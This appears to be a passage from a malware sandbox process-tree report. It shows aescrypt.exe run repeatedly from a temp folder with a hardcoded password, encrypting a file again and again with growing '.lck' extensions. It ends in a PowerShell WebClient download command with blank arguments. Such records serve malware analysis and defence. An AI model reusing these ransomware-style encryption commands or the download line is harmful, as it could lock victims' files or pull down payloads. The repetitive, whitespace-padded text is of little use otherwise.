                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6344
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:6356
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6368
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck" "90737d32e3aba4b.timestamp"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6380
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck" "90737d32e3aba4b.timestamp.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6392
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6404
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6416
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:6428
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6440
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:6452
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6464
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6476
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6488
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6504
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6520
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:6536
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6548
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:6564
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6580
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6596
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6612
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6628
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6644
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:6660
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6672
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:6684
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6696
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              powershell.exe -c (new-object System.Net.WebClient).DownloadFile('','')
